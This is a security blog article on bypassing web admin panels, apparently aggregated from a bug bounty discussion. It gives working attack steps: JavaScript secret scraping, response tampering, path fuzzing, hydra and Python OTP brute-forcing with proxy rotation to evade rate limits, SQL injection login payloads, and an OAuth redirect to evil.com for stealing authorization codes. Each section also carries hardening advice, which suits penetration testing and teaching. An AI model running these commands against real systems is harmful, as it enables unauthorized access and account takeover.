How One Bug Bounty Hunter Bypassed an Admin Panel in Minutes – And You Can Too + Video

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Introduction:

In modern web applications, admin panels often rely on client‑side validation, hidden endpoints, or simple OTP codes to restrict access. Savvy penetration testers know that these “protections” frequently leak secrets in JavaScript files, respond inconsistently to manipulated requests, or expose undiscovered routes through forced browsing. This article dissects the real‑world techniques discussed by security researchers after a successful admin panel bypass, providing actionable commands, code snippets, and configuration hardening tips for both attackers and defenders.

Learning Objectives:

• Identify and extract hardcoded credentials, hidden API endpoints, and OTP bypass clues from JavaScript source files.
• Execute response manipulation attacks (status code tampering, parameter fuzzing) and rate‑limit brute‑forcing.
• Apply mitigation strategies including secure JS minification, proper session handling, and input validation.

You Should Know

1. JavaScript File Analysis: Uncovering Secrets and Hidden Paths

Modern single‑page applications (SPAs) often ship large JavaScript bundles that contain sensitive information—API keys, admin route patterns, even default passwords. Before any other test, enumerate every JS file the login page loads.

Step‑by‑step guide:

1. Download all JS files from the target domain:

   Linux – use curl and grep to find script src
   curl -s https://target.com/login | grep -oP 'src="\K[^"]+.js'
   Or automate with wget
   wget -r -l 1 -A .js https://target.com/
   

2. Extract readable strings (API endpoints, credentials):

 Search for common patterns
grep -rE "(api|endpoint|token|secret|password|admin|key|OTP|code)" .js
 Use `strings` command for binary‑like files
strings script.js | grep -iE "(pass|token|admin|http)"

3. Use browser devtools – open Sources tab, search across all loaded scripts for “admin”, “bypass”, “grant”, “role”, “isAdmin”.
4. Automate with `ffuf` (fuzzing JS files for hidden paths):

ffuf -u https://target.com/FUZZ.js -w /usr/share/wordlists/js_files.txt

5. Windows alternative – use `findstr` in PowerShell:

Get-ChildItem -Recurse -Filter .js | Select-String -Pattern "api|token|secret|admin"

Real‑world example: A JS file contained if(user.role === "admin") { window.location = "/admin/dashboard"; } else { showOtp(); }. By changing the role response (see section 2), testers could skip OTP entirely.

2. Response Manipulation: Bypassing Client‑Side Checks

Many admin panels rely on the frontend to enforce access. An attacker can intercept the server’s response and modify status codes, JSON booleans, or redirect URLs to elevate privileges.

Step‑by‑step guide (Burp Suite / Caido):

1. Intercept the login or OTP verification response – send a dummy code (e.g., 0000).

2. Modify the response body:

• Change `”success”:false` to `”success”:true`
  – Replace `”role”:”user”` with `”role”:”admin”`
  – Change HTTP status from `403` to `200` or `302`
  3. Remove or tamper with “Location” headers – e.g., if the server redirects non‑admins to /user, change it to /admin.

1. Use `curl` to manually craft responses (bypassing frontend validation):

   curl -X POST https://target.com/api/verify-otp -H "Content-Type: application/json" -d '{"code":"1234"}' -H "X-Forwarded-For: 127.0.0.1" --proxy http://127.0.0.1:8080
   

   Then in Burp, change the response before it reaches the browser.

Mitigation: Never trust client‑side checks. All authorization must be re‑verified on the server. Use HTTP‑only, SameSite cookies and validate session tokens for every admin action.

1. Path Fuzzing & Forced Browsing: Finding Unprotected Routes

Hidden directories like /admin_dev, /panel_api, or `/backup` often exist without proper access controls. Fuzzing reveals them.

Step‑by‑step guide:

1. Use `ffuf` or `dirb` with a comprehensive wordlist (e.g., SecLists):

   ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/directory-list-2.3-medium.txt -e .php,.asp,.js,.json -fc 404,403
   

2. Check for backup files – append ~, .bak, .old, .swp:

   ffuf -u https://target.com/admin/index.phpFUZZ -w /usr/share/wordlists/extensions.txt
   

3. Recursive fuzzing – after finding an admin entry point, fuzz its subpaths:

   ffuf -u https://target.com/admin/FUZZ -w ../subpaths.txt
   

4. Windows PowerShell alternative using `Invoke-WebRequest` and a wordlist:

   Get-Content wordlist.txt | ForEach-Object { $url = "https://target.com/$_"; try { (Invoke-WebRequest $url -Method Head).StatusCode } catch {} }
   

Prevention: Serve a single, strongly authenticated entry point. Implement proper middleware that checks session on every route, not just visible navigation links.

4. Brute‑Forcing OTP/Admin Codes with Rate‑Limit Bypass

When an admin panel uses a short numeric code (4–8 digits) without CAPTCHA or IP‑based rate limiting, brute‑forcing becomes viable. Attackers can also bypass rate limits via IP rotation (X-Forwarded-For, VPNs) or session cycling.

Step‑by‑step guide:

1. Identify the code length from JS files or error messages (“4‑digit code sent”).
2. Use `hydra` or a custom Python script with proxy rotation:

   Hydra POST form brute‑force
   hydra -l admin -P /usr/share/wordlists/4digit.txt target.com http-post-form "/verify:code=^PASS^:Invalid code"
   

3. Python script with `requests` and rotating proxies (bypass IP‑based limits):

   import requests
   proxies = [{'http': 'proxy1:port'}, {'http': 'proxy2:port'}]
   for code in range(1000, 10000):
   for proxy in proxies:
   r = requests.post('https://target.com/verify', data={'code': str(code)}, proxies=proxy)
   if 'dashboard' in r.url: print(f'Found: {code}'); exit()
   

4. Use Burp Intruder – payload type “Numbers” from 0000 to 9999, set attack threads low to avoid lockout, and monitor differences in response length/status.

Hardening: Implement exponential backoff, CAPTCHA after 3 failures, and require a valid session token before attempting OTP verification. Never rely on IP alone.

5. SQL Injection (SQLi) & OAuth Misconfigurations

If the login/OTP form interacts with a database, SQLi can bypass authentication entirely (e.g., ' OR '1'='1). OAuth flows (Login with Google/Facebook) often contain misconfigured redirect URIs or lack state parameters, allowing account takeover.

Step‑by‑step SQLi bypass:

1. Inject test payloads in username/OTP fields:

admin' OR '1'='1' --
' OR 1=1; -- 

2. Use `sqlmap` to automate detection:

sqlmap -u "https://target.com/login" --data="user=admin&pass=test&otp=1234" --level=3 --risk=2 --dbs

OAuth bypass example (misconfigured `redirect_uri`):

GET /auth?client_id=xxx&redirect_uri=https://evil.com/callback&response_type=code

If the app does not validate the redirect URI, an attacker can steal the authorization code and exchange it for an access token, potentially gaining admin rights.

Mitigation: Use parameterized queries (never concatenate user input). For OAuth, strictly validate `redirect_uri` against a whitelist and enforce the `state` parameter with a non‑guessable value.

6. GitHub Dorks: Leaked Credentials & Access Codes

Developers often commit API keys, admin passwords, or OTP generation scripts to public repositories. Dorking on GitHub can reveal these secrets in minutes.

Step‑by‑step guide:

1. Use GitHub search operators:

– `”target.com” extension:js api_key`
– `”admin password” org:targetCompany`
– `”OTP” “secret” language:python`

2. Automate with `truffleHog` (scans for high‑entropy strings):

trufflehog github --org=targetCompany

3. Search commit history – developers delete secrets but leave them in old commits:

git clone https://github.com/target/repo.git
git log -p | grep -i "secret|token|password"

4. Windows alternative – use `grep` in WSL or PowerShell with `Select-String` on cloned repos.

Real find: A JS file revealed /api/admin/backup?token=d41d8cd98f00b204e9800998ecf8427e. Accessing that endpoint gave full database dumps.

Prevention: Use secret scanning pre‑commit hooks (e.g., git-secrets). Never hardcode credentials; use environment variables or vaults.

What Undercode Say

• Key Takeaway 1: Client‑side protections are cosmetic. Every “hidden” admin route, OTP check, or role assignment must be re‑verified on the server, or attackers will manipulate responses or find the unprotected endpoint.
• Key Takeaway 2: JavaScript files are the new low‑hanging fruit. Pentesters should treat every script tag as a potential source of hardcoded keys, internal API paths, and even admin bypass logic. Defenders must minify and obfuscate but never rely on secrecy alone.
• Analysis: The LinkedIn discussion highlights a mature bug‑hunting workflow: enumerate → read JS → fuzz paths → manipulate responses → brute‑force if no rate limit. Modern frameworks (React, Vue, Angular) exacerbate the problem by bundling route definitions client‑side. Meanwhile, OAuth and GitHub leakage remain systemic issues. The most effective defense is a zero‑trust session model where every admin request validates a cryptographically signed token, and all secrets are rotated frequently. As APIs become the backbone of web apps, response manipulation and path fuzzing will only grow in importance.

Prediction: Within the next 12 months, we will see a surge in AI‑powered JS analyzers that automatically extract “bypass clues” and generate exploit payloads. Concurrently, more companies will adopt server‑side rendering (SSR) and BFF (Backend for Frontend) patterns to hide routing logic, shifting the battle from client‑side discovery to API abuse. Bug bounty platforms will prioritize “client‑side control bypass” as a critical severity weakness, leading to new automated testing tools that intercept and modify responses in real time using headless browsers.

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Reported By: Rahimasec I – Hackers Feeds
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